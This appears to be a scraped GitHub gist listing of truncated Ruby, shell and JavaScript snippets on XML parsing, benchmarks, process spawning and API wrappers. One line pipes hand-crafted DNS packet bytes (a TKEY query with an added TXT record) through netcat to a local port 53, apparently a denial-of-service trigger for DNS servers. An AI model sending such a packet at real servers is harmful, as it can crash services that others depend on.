http://stackoverflow.com/questions/26739167/jwt-json-web-token-automatic-prolongation-of-expiration
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| # app/models/importer.rb | |
| class Importer | |
| include ActiveModel::Validations | |
| include ActiveModel::Conversion | |
| VALID_IMPORT_TYPES = ['contact'] | |
| validates :import_type, inclusion: { in: VALID_IMPORT_TYPES } | |
| attr_reader :parser, :import_type |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| # A small DSL for helping parsing documents using Nokogiri::XML::Reader. The | |
| # XML Reader is a good way to move a cursor through a (large) XML document fast, | |
| # but is not as cumbersome as writing a full SAX document handler. Read about | |
| # it here: http://nokogiri.org/Nokogiri/XML/Reader.html | |
| # | |
| # Just pass the reader in this parser and specificy the nodes that you are interested | |
| # in in a block. You can just parse every node or only look inside certain nodes. | |
| # | |
| # A small example: | |
| # |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| # I'm no benchmark guru. Just did a bunch of: | |
| $ time ruby <filename> | |
| # Note: This is just an 80mb XML file with 38,000 nodes. | |
| ox_dom.rb 4.56s user 0.78s system 93% cpu 5.714 total (550mb) | |
| ox_dom.rb 4.58s user 0.79s system 87% cpu 6.126 total (550mb) | |
| ox_dom.rb 4.60s user 0.80s system 87% cpu 6.140 total (550mb) | |
| nokigiri_dom.rb 11.75s user 1.02s system 94% cpu 13.518 total (895mb) | |
| nokigiri_dom.rb 11.36s user 1.02s system 93% cpu 13.211 total (895mb) |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| module Kernel | |
| def system(*args) | |
| rd, wr = IO.pipe | |
| # Create a new subprocess that will just exec the requested program. | |
| pid = fork do | |
| # The sub-process closes its copy of the reading end of the pipe | |
| # because it only needs to write. | |
| rd.close |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/usr/bin/ruby -w | |
| require 'csv' | |
| require 'active_support/core_ext' | |
| class Parser | |
| attr_accessor :input_folder | |
| attr_accessor :output_folder | |
| attr_accessor :filename |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| # Use Nokogiri::XML::SAX::Parser (event-driven parser) and Nokogiri::XML::SAX::Document | |
| require 'nokogiri' | |
| class IDCollector < Nokogiri::XML::SAX::Document | |
| attr :ids | |
| def initialize | |
| @ids = [] | |
| @inside_id = false |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| echo -n $'\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x01\x03\x62\x61\x64\x00\x00\xf9\x00\x01\x03\x62\x61\x64\x00\x00\x10\x00\x01\x00\x00\x00\xc8\x00\x06\x05\x68\x65\x6c\x6c\x6f' | nc -u localhost 53 |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| var API = { | |
| get: function() { | |
| return new Promise(function() { | |
| // ... some code to get remotely | |
| }); | |
| } | |
| } | |
| var UserAPI = { | |
| getById: function(id) { |